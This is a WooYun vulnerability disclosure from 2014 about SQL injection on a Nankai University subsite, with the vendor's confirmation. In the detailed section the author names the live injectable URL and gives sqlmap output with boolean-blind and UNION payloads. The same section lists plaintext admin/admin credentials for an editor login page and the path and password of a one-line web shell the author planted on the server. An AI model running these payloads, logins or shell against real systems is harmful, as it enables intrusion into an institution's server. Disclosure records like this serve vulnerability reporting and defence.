当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-069532

漏洞标题：南开大学分站sql注入2

相关厂商：nankai.edu.cn

漏洞作者： scanf

提交时间：2014-07-24 13:55

修复时间：2014-09-07 13:56

公开时间：2014-09-07 13:56

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-24： 细节已通知厂商并且等待厂商处理中
2014-07-24： 厂商已经确认，细节仅向厂商公开
2014-08-03： 细节向核心白帽子及相关领域专家公开
2014-08-13： 细节向普通白帽子公开
2014-08-23： 细节向实习白帽子公开
2014-09-07： 细节向公众公开

简要描述：

对大学的向往才有了今天的动力！

详细说明：

注入点:http://cts.nankai.edu.cn/show.asp?id=57

[wooyun@scanf~]# Sqlmap -u "http://cts.nankai.edu.cn/show.asp?id=57"
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:32:46
[13:32:46] [INFO] resuming back-end DBMS 'microsoft access'
[13:32:46] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=57 AND 6720=6720
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=-4141 UNION ALL SELECT NULL,NULL,NULL,CHR(113)&CHR(105)&CHR(122)
&CHR(115)&CHR(113)&CHR(68)&CHR(114)&CHR(103)&CHR(119)&CHR(121)&CHR(89)&CHR(108)&
CHR(102)&CHR(99)&CHR(110)&CHR(113)&CHR(101)&CHR(114)&CHR(119)&CHR(113) FROM MSys
AccessObjects%16
---
[13:32:47] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[13:32:47] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\cts.nankai.edu.cn'
[*] shutting down at 13:32:47


sqlmap字典不行所以用的名小子
昔日神器再显神威！

QQ截图20140724133357.png


密码明文？作死的感觉
http://cts.nankai.edu.cn/htmledit/Admin_Login.asp
还有这个编辑器
密码 admin/admin
然后样式管理什么的shell就拿到了
一句话http://cts.nankai.edu.cn//htmledit/UploadFile/2014724134216409.asa
密码x

漏洞证明：

QQ截图20140724134357.png


未深入了

修复方案：

逗逼管理员叔叔，检查服务器，过滤注入吧，精简编辑器不用组件
或者直接换网站源码

版权声明：转载请注明来源 scanf@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-07-24 15:28

厂商回复：

感谢scanf提供的漏洞信息，我们会尽快处理此漏洞，同时希望您继续关注南开大学网站的安全情况，我们需要您的反馈！

最新状态：

暂无